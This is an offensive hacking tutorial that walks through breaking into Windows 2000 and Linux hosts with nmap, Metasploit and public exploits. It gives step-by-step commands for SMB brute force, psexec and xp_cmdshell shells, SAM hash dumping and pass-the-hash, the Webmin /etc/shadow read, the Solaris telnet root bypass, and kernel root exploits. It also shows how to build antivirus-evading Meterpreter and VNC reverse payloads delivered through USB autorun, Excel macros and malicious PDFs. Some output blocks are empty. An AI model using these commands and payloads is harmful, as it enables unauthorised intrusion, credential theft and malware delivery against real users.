[0x00] - Introduction
#######################
Hi all, in this paper, we will guide you about methods to hacking into Windows
system and linux system. Moreover, we also show the ways to use popular hacking tools,
nmap and metasploit. Those tools are more powerfull than day in the past (We will see it ;D)
We divide the paper into 7 sections from 0x00 to 0x06. However, only section 0x01 to
0x04 are technical issue. Section 0x01, we show the steps to hack into Windows 2000 operating system. Section 0x02, we switch to talk about steps of linux hacking. The next section, 0x03, mentions about automatic exploiting by using metasploit combining with nmap or nessus.
The last technical section lets you see examples of exploiting client software in order to
get access to a system :-D
##############################################
[0x01] - The Art of Microsoft Windows Attack
##############################################
In this section, we talk about attacking Windows machines in network. We will start with scanning and enumeration then we move to gain access to Windows system and, finally, escalating privilege in order to control the machine completely and use the machine to attack other machines in the network.
++++++++++++++++++++++++++++++++++
[0x01a] - Scanning & Enumeration
++++++++++++++++++++++++++++++++++
First, start with scanning by using nmap (http://nmap.org) which is the best in our opinion.
New version of nmap improves scanning speed, mappes port with service name and adds custom script feature which is perfect use for penetration testing.
The first example, We use nmap to scan for openning ports which are the channels to attack the system:
[Nmap Result]-----------------------------------------------------------------------------------

[End Result]------------------------------------------------------------------------------------
From result, we get a list of opening ports and we know that this system runs IIS, Netbios, Endpoint Mapper, SMB, MSSQL2000 and the operating system is Windows 2000 (We pick Windows 2000 as the example because we want you to see the big picture of Windows hacking). The next step is an information gathering from Netbios and SMB. Windows 2000 has "Null Session" vulnerability (Holygrail of Windows Vulnerability) which allows us to enumerate all accounts in the system including security policies, local group, file share. We pick nmap to gather the information by using Nmap-script. In the past, We had to connect to the system
through IPC$ (Null Session) then we had run command [net use \\192.168.80.129 "" /u:""] after that we have enumerated the information through a tool such as Superscan4 or Winfo. Nowadays, Nmap(8.5Beta) can perform those tasks with help of Nmap-script (smb-enum-users, smb-enum-shares,Etc).

- TsInternetUser
The Others techniques is Enumeration from "LDAP Anonymous" and SNMP Default Community string (Public/Private) that we can list all user from target system too.
"LDAP Anonymous" => Using ldapminer
"Default SNMP Community String" => Using snmpwalk
The shared files and folders are also important. If there is no properly permission setting, attack may directly upload malicious files to the system.

Next, We know all users from Null Session so we can bruteforce attack for their users with Nmap-script "smb-brute"

Look at that result, We can brute weak password from users backup and epp.
++++++++++++++++++++++++++
[0x01b] - Gaining Access
++++++++++++++++++++++++++
Now we got 2 account credentials for attack, We choose "epp" that use password "password". Use psexec (Pstool from sysinternals)
to spawn command shell back to our.

From Result, We can spawn their command shell with epp's privilege (Administrators) then Blah Blah Blah...
The target use MSSQL 2000, we guess they use default username/password for MSSQL 2000 (SA/blank password).So we use osql to spawn command shell with MSSQL stored procedure xp_cmdshell, This stored procedure was gold mines for Hacker that use for interactive command shell. Attacker can use 'osql' to get shell from target.

The Most popular Tools for scanning, enumeration, vulnerability assessment is Nessus (www.www.nessus.org).That have many features like highspeed discovery.
configuration audit, sensitive data discovery and vulnerability analysis. The Best thing, It's FREE !!!
++++++++++++++++++++++++++++++++
[0x01c] - Escalating Privilege
++++++++++++++++++++++++++++++++
The next step to do is Dump SAM file from target that get all hashing. Sure we can use Nmap !!
We can read the information in SAM file only when we have administrator's privilege (epp's account had administrators group)

Now we got all hash from target system. In the past, Need to crack password by using a tool such as cain or rcrack with a technique called "rainbow tables" but this action steal sleeping time from us. We can save that time by one of nmap features. Nmap can try to login to other machines with gathering hashes and list of usernames. We do not need to pre-crack the hashes.

Other tool is pass-the-hash Toolkit (http://oss.coresecurity.com/projects/pshtoolkit.html) to impersonating user without password. The Pass-The-Hash Toolkit contains utilities to manipulate the Windows Logon Sessions mantained by the LSA (Local Security Authority) component. These tools allow you to list the current logon sessions with its corresponding NTLM credentials (e.g.: users remotely logged in thru Remote Desktop/Terminal Services), and also change in runtime the current username, domain name, and NTLM hashes (YES, PASS-THE-HASH on Windows!).
We need to compromise one machine for attack other machine that use the same credentials, Now we got their command shell and use "whosthere" for find their credentials.

[0x02a] - Scanning & Enumeration
++++++++++++++++++++++++++++++++++
The first thing important before start hacking is gathering as much information as you can.
You can use the information to guess password, specific points to attack or anything as
you can imagine. Our favourite tool used to scan a target is nmap. We know openning ports and
a software version with only one command. We show you below :D
[Nmap Result]-----------------------------------------------------------------------------------

In the result, you see that this system use Webmin but we do not know the exact version.
If we are not an Alzheimer, Webmin used to expose file disclosure vulnerability in version 1.290.
We try to search in milw0rm.com and , bingo!!, We find one at http://milw0rm.com/exploits/2017 .
It is perl script exploit. So, we download the script and save as 2017.pl then we launch the command ...

[0x02b] - Gaining Access
++++++++++++++++++++++++++
As the target is linux server, it is harder than windows server to remotely attack.
The most remote exploits affected on linux are from third party software such as
ftp, ssh, web server. The ways to access linux server are to exploit third party
running services, to get user information from web application vulnerability then
do the brute forcing and to do social engineer toward valid user.
In our example case, we highly recommend you to try following command:
bt cwh # perl 2017.pl www.target.com 10000 http /etc/shadow
This command tries to read /etc/shadow file. If a result seem like below, you are lucky ;D

We put the result in file shadow.txt and then try to crack passwords by using John the Ripper.
(dict.lst is dictionary file)
[John Result]-----------------------------------------------------------------------------------
bt cwh # john --wordlist=dict.lst shadow.txt

[End John Result]-------------------------------------------------------------------------------
It means that password of user1 is "user1" and cannot find password for root.
Now, you can login to the target system by using credential information of user1.
After you can find the way into the system, you have to figure the way to escalateyour privilege.
We have another example to show you. It is telnet vulnerability on solaris 10/11.
This vulnerability allows you to login easily with root privilege. We just send
[telnet –l "-froot" 192.168.0.112] to telnet deamon on solaris 10/11.
[Telnet bypass]---------------------------------------------------------------------------------
bt cwh # telnet –l "-froot" 192.168.0.112

If we use this technique, we do not want to escalate privilege cause we already login
as root privilege.

[0x02c] - Escalating Privilege
++++++++++++++++++++++++++++++++
In this article, we introduce you to use local root exploit for linux. You can find
the exploits from milw0rm.com. the first tasks after access the system are to check
linux kernel version and the user id.
user1@linuxserver:~$ uname -a
Linux linuxserver 2.6.17-10-server #2 SMP Fri Oct 13 18:47:26 UTC 2006 i686 GNU/Linux
user1@linuxserver:~$ id
uid=1001(user1) gid=1001(user1) groups=1001(user1)
As the result of two commands above, we want to escalate our privilege to be root and
we remember that there is an local root exploit for linux 2.6.17 - 2.6.24 on milw0rm.com ;D
we do not hesitate to download the code, compile it and run. The result is shown below ...
user1@linuxserver:~$ wget http://milw0rm.com/exploits/5092

Metasploit is a tool for exploiting system vulnerabilities but penetration tester need to find those vulnerabilities first, this is a drawback of metasploit. However, the lastest version of metasploit is added a feature called "Autopwned" which automatically exploit vulnerabilities reported from nmap or nessus. Note: Metasploit have one features called "Autopwn Metasploit Automated". That can scanning all network by nmap and Automating exploit.

This is not a tool to exploit a system. You can use the tool to create malicious payload and
save it to exe file then you need to lure a victim to execute that file on his/her machine.
There is a feature to encode your payload to get past most AV and IDS/IPS (13 Encoding Choices). So we can use Metasploit Payload Generator from "Fast-Track". If you don't have "fast-track", you need Metasploit framework and this script for you ;)

The Metasploit Payload Generator is a simple tool to make it extremely easy to generate a payload and listener on the Metasploit framework. This does not actually exploit any systems, it will generate a metasploit payload for you and save it to an executable. You then need to
someone get it on the remote server by yourself and get it to execute correctly.
This will also encode your payload to get past most AV and
IDS/IPS.
What payload do you want to generate:
Name: Description:
1. Windows Shell Reverse_TCP Spawn a command shell on victim and send back to attacker.
2. Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on victim and send back to attacker.
3. Windows Reverse_TCP VNC DLL Spawn a VNC server on victim and send back to attacker.
4. Windows Bind Shell Execute payload and create an accepting port on remote system.
5. Windows Reflective Reverse VNC Spawn a VNC server on victim and send back to attacker.
6. Windows Reflective Reverse Meterpreter Spawn a Meterpreter shell on victim through Reflective to attacker.
Enter choice (example 1-6): 2
Below is a list of encodings to try and bypass AV.
Select one of the below, Avoid_UTF8_tolower usually gets past them.
1. avoid_utf8_tolower
2. shikata_ga_nai
3. alpha_mixed
4. alpha_upper
5. call4_dword_xor
6. countdown
7. fnstenv_mov
8. jmp_call_additive
9. nonalpha
10. nonupper
11. unicode_mixed
12. unicode_upper
13. alpha2
14. No Encoding
Enter your choice : 2
Enter IP Address of the listener/attacker (reverse) or host/victim (bind shell): 192.168.80.131
Enter the port of the Listener: 5555
Do you want to create an EXE or Shellcode
1. Executable
2. Shellcode
Enter your choice: 1
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 278
Options: LHOST=192.168.80.131,LPORT=5555,ENCODING=shikata_ga_nai
A payload has been created in this directory and is named 'payload.exe'. Enjoy!
Do you want to start a listener to receive the payload yes or no: yes

From Above, We can Attack victim from Social-engineering if they execute "payload.exe". What's happen If we use Autorun.inf to force them execute our files.
[USB Pwnage]------------------------------------------------------------------------------------

[End File]-------------------------------------------------------------------------------------
If someone open USB drive with Autorun or Double-click USB drive from My computer, Their System will compromised !!
++++++++++++++++++++++++++++++++++
[0x04b] - MS-Office Macro Ownage
++++++++++++++++++++++++++++++++++
MS word, Excel, Powerpoint, etc. can import VBscript to their files. Metasploit can generate VBScript that contains Malicious Payload !!In this example, we will show script for exploiting victim with MS-Excel. The victim machine will start reverse VNC to our machine after the victim opens MS-Excel file.
[Msf script]------------------------------------------------------------------------------------
bt framework3 # ./msfpayload windows/vncinject/reverse_tcp LHOST=192.168.80.131 V > /tmp/script.bas
bt framework3 # ./msfcli multi/handler PAYLOAD=windows/vncinject/reverse_tcp LHOST=192.168.80.131 DisableCourtesyShell=True E
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2658 bytes)
[*] Sleeping before handling stage...
[End Result]------------------------------------------------------------------------------------
Now we have "script.bas", Open MSExcel -> Tools -> Macro -> Visual Basic Editor then import "script.bas" and SAVE Excel file.After that use your skill for social engineering, Force them to open MSExcel and Enable Macros. We will control target via VNC viewer with their privilege.

[0x04c] - AdobeReader PDF Ownage
++++++++++++++++++++++++++++++++++
Metasploit has exploit script for Generating Malicious PDF file to Attack through "Adobe JBIG2Decode Memory Corruption".This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier.When we generate malicious PDF, send to victim and social-engineering for open PDF file. Game Over !!

[End Result]------------------------------------------------------------------------------------
Other techniques such as "DNS Spoofing+IE7" was great for Mass Exploit, you can see video at http://www.milw0rm.com/video/watch.php?id=96
That use Ettercap for DNS spoofing then use Metasploit for handling reverse shell from "IE7 MS09-002 Memory Corruption Vulnerability".That force all machine in the same network
drive to attacker's machine and ... Game Over !!
